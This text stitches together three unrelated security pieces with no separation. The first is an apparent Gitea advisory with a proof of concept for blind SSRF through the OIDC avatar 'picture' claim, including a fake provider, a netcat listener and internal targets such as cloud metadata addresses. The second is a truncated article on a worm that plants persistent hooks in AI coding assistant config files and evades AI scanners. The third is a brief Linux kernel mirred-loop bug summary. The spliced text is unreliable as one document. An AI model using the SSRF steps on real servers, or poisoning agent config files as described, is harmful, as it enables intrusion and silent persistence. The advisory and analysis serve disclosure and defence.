`routers/web/auth/oauth_signin_sync.go`: ```go func oauth2SignInSync(ctx *context.Context, authSourceID int64, u *user_model.User, gothUser goth.User) { oauth2UpdateAvatarIfNeed(ctx, gothUser.AvatarURL, u) ... } ``` `gothUser.AvatarURL` is derived from the OAuth2/OIDC provider's avatar value. For OIDC providers, this is commonly populated from the `picture` claim returned by the provider's userinfo endpoint or ID token. The issue is that this value can be attacker-influenced in some common IdP configurations, while Gitea fetches it server-side using `http.Get` with no host/IP validation and no restricted transport. Comparable outbound fetch paths in Gitea use `hostmatcher.NewDialContext` to enforce restrictions at TCP dial time. For example, repository migration uses an HTTP transport with host matching. The OAuth2 avatar synchronization path does not apply those restrictions. ### PoC #### Requirements - Local Gitea build or binary - Python 3 - Python packages: `requests`, `pyjwt`, `cryptography` - Gitea configured with OAuth2 avatar synchronization enabled Install Python dependencies: ```bash python3 -m pip install requests pyjwt cryptography ``` Configure `app.ini`: ```ini [oauth2_client] UPDATE_AVATAR = true ENABLE_AUTO_REGISTRATION = true USERNAME = userid ``` Run the fake OIDC provider: ```bash python3 fake_oidc.py http://127.0.0.1:8888/ 9999 ``` Run a listener for the SSRF target: ```bash nc -lvnp 8888 ``` Register an OAuth2 authentication source in Gitea: - Provider: `OpenID Connect` - Client ID: `gitea-client` - Client Secret: `gitea-secret` - OpenID Connect Auto Discovery URL: `http://127.0.0.1:9999/.well-known/openid-configuration` Then initiate login through the configured OAuth2 source. Observed request to the SSRF listener: ```http GET / HTTP/1.1 Host: 127.0.0.1:8888 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip ``` Observe that Gitea fetched the OIDC `picture` claim URL from the server side using the default Go HTTP client. ### Impact When [oauth2_client] UPDATE_AVATAR = true is enabled, a low-privileged OAuth2/OIDC user who can influence their own picture claim can force the Gitea server to make outbound HTTP GET requests to attacker-selected URLs. This allows blind SSRF from the Gitea server’s network position, including requests to loopback addresses, RFC1918 private addresses, link-local addresses such as 169.254.169.254, and other internal services that may not be reachable from the public internet. In practical terms, this can enable internal service probing and interaction with localhost-only or private-network services depending on the deployment’s network access controls. The vulnerability is blind in the common case because non-image responses such as HTML, JSON, or plaintext are rejected during avatar processing and are not directly returned to the attacker. However, impact can increase in cloud or internal-network deployments where metadata services, internal admin panels, monitoring endpoints, or image-generating internal services are reachable from the Gitea host. If an internal endpoint returns a valid supported image format within the configured avatar size limit, the response may be stored as the attacker’s avatar, creating a limited response retrieval primitive.

Attackers have shifted from hiding from AI tools to running inside them. By poisoning the config files that govern AI coding assistants, a new worm class achieves silent persistence, evades AI-based scanners, and spreads across an organization's repositories through developers' own tools. Key takeaways AI coding assistant configuration files, such as settings.json hooks, .cursorrules Cursor MDC rules, and similar harness files, are now explicit targets in supply-chain attacks, not collateral damage. These files simultaneously sit at the intersection of three trust relationships: The developer trusts them as config, the integrated development environment (IDE) executes them automatically, and the large language model (LLM) treats them as authoritative instructions, making them a uniquely powerful persistence vector. Defenders should treat harness config files as code that requires mandatory reviews and hash pinning in the CI/CD pipeline; enforce --ignore-scripts on package installs; and flag AI scanner refusals as a suspicious signal rather than a clean result. While analyzing a recent Mini Shai-Hulud campaign and its other variants, Tenable made a discovery: The payload wasn’t just stealing tokens and exfiltrating credentials. It was rewriting the configuration files that tell AI coding assistants what to do every time a developer opens a project. The Mini Shai-Hulud worm, which targets npm, PyPI, and other third-party registries simultaneously, includes a dedicated module that scans the developer’s home directory for configuration files belonging to AI coding tools by name, such as Anthropic’s Claude Code, Google’s Gemini CLI, Microsoft’s GitHub Copilot, SpaceX’s Cursor, OpenAI’s ChatGPT Codex, Cline’s eponymous tool, the open-source tool Aider, and others. For each one it finds, it injects a hook command which helps the malware stay persistent. From that point forward, every time the developer starts an AI coding session, the malware runs silently and automatically, and with the same level of trust the developer placed in their own tools. This is a deliberate architectural choice: The attacker modeled the execution environment, identified the highest-privilege auto-run mechanism available on a developer’s machine, and built the attack specifically for it. Supply-chain attacks used to end at credential theft. Now the AI agent’s harness is both the target and the propagation vector. Why AI agent harness files are a uniquely attractive target For years, defenders have focused supply-chain security on the package itself: Inspect the preinstall script, scan the tarball, verify the checksum. That model assumes the malicious payload lives only inside the installed artifact. The threat described here breaks that assumption: The payload lands in a completely different place. AI coding assistants’ configuration files occupy a structural position unlike any other file in a developer’s working environment. They are simultaneously trusted as developer configuration, so they survive aggressive code reviews focused on business logic; are executed automatically by the IDE, so no user interaction is required after initial compromise; and are treated as authoritative instructions by the AI model itself, so the LLM will act on their content without prompting the user. No other file class has all three properties at once. A malicious package.json script requires execution. A malicious comment in source code requires a developer to act on it. A malicious hook in .claude/settings.json runs every time the developer opens a session. The attack surface is also nearly invisible to conventional scanning. These files are small, structured, and look identical to legitimate developer config. A poisoned settings.json with a malicious SessionStart hook has the same schema and structure as a clean one; the only difference is what the command field points to. Meanwhile, the files are rarely subject to the same review discipline as production code. They live…

A vulnerability in the Linux kernel's network scheduler (net/sched) involving mirred redirect loops between ingress and egress interfaces has been resolved. The issue occurs because the loop detection state is lost due to packet deferral and clearing of the sched_mirred_dev array, preventing discovery of mirred loops. This can cause unexpected network behavior when mirred actions redirect packets between interfaces in a loop. A test case demonstrates the loop creation using traffic control commands and ping. No CVSS score is available for this vulnerability.